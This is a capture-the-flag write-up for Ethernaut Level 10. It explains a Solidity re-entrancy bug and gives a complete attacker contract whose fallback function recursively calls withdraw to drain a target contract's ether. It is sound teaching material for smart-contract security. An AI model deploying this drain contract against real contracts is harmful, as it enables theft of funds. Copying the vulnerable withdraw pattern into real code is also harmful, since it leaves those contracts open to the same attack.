Ethernaut Level 10 - Re-entrancy - Write-Up
Difficulty: 6/10
Objective: steal all the funds from the contract.
Source
pragma solidity ^0.4.18;
contract Reentrance {
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] += msg.value;
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}
The Re-entrancy bug is one of the most known solidity “vulnerabilities”. We can cause a recurssive call in the withdraw
function in order to drain the contract of Ethereum. Here’s how we will do it:
- We create a new contract which will exploit the re-entrancy vulnerability.
- We will donate 0.05 ETH to the challenge contract for our contract’s address.
- If we now call
Reentrance.balanceOf(ADDR_OF_OUR_CONTRACT)
we should get back 0.05 ETH. - The fallback function in our contract will call
Reentrance.withdraw(0.05)
. - When we trigger the
Reentrance.withdraw
function from our contract, theReentrance
contract will check if we have that balance (if(balances[msg.sender] >= _amount)
), and we do have 0.05 ETH so it passes that check. - The contract will call our fallback function, sending us the money, but it will also trigger the
Reentrance.withdraw(0.05 ether)
again. - The
if(balances[msg.sender] >= _amount)
check will pass again since it hasn’t reachedbalances[msg.sender] -= _amount;
yet, this repeats until theReentrance
contract has less than 0.05 ETH. That’s when our fallback function will withdrawReentrance.balance
instead, and then end this recursive loop. - We can withdraw the Ethereum from our contract to our personal wallet.
- Profit! We just drained the contract!
The problem is that balances[msg.sender] -= _amount;
happens after msg.sender.call.value(_amount)()
so we can just call the function recursively without subtracting balance from our virtual account inside the Reentrance
contract.
Also, (msg.sender.call.value(_amount)()
will forward all the gas available, so the execution will not fail. if something like msg.sender.transfer(_amount)
was used instead, only 2300 gas would be forwarded, making this recursive loop impossible.
Here’s the contract that I used:
pragma solidity ^0.4.18;
interface Reentrance {
function donate(address _to) public payable;
function balanceOf(address _who) public view returns (uint balance);
function withdraw(uint _amount) public;
}
contract inception{
Reentrance main;
address owner;
function inception(){
main = Reentrance(ADDR_OF_INSTANCE_HERE);
owner = msg.sender;
}
function pwn() public{
main.withdraw(50000000000000000);
}
function getback() public{
require(msg.sender == owner);
owner.send(this.balance);
}
function() public payable{
if(main.balance >= 50000000000000000){
main.withdraw(50000000000000000);
}else if(main.balance > 0){
main.withdraw(main.balance);
}
}
}
When calling the inception.pwn()
function we need to give it a lot of gas (I gave it 5000000 just to be sure) so it has enough to do all the withdraws:
After the execution finishes, we can see al the transactions of 0.05 ETH that occurred due to the recursive call:
We have now drained the contract! We can submit it: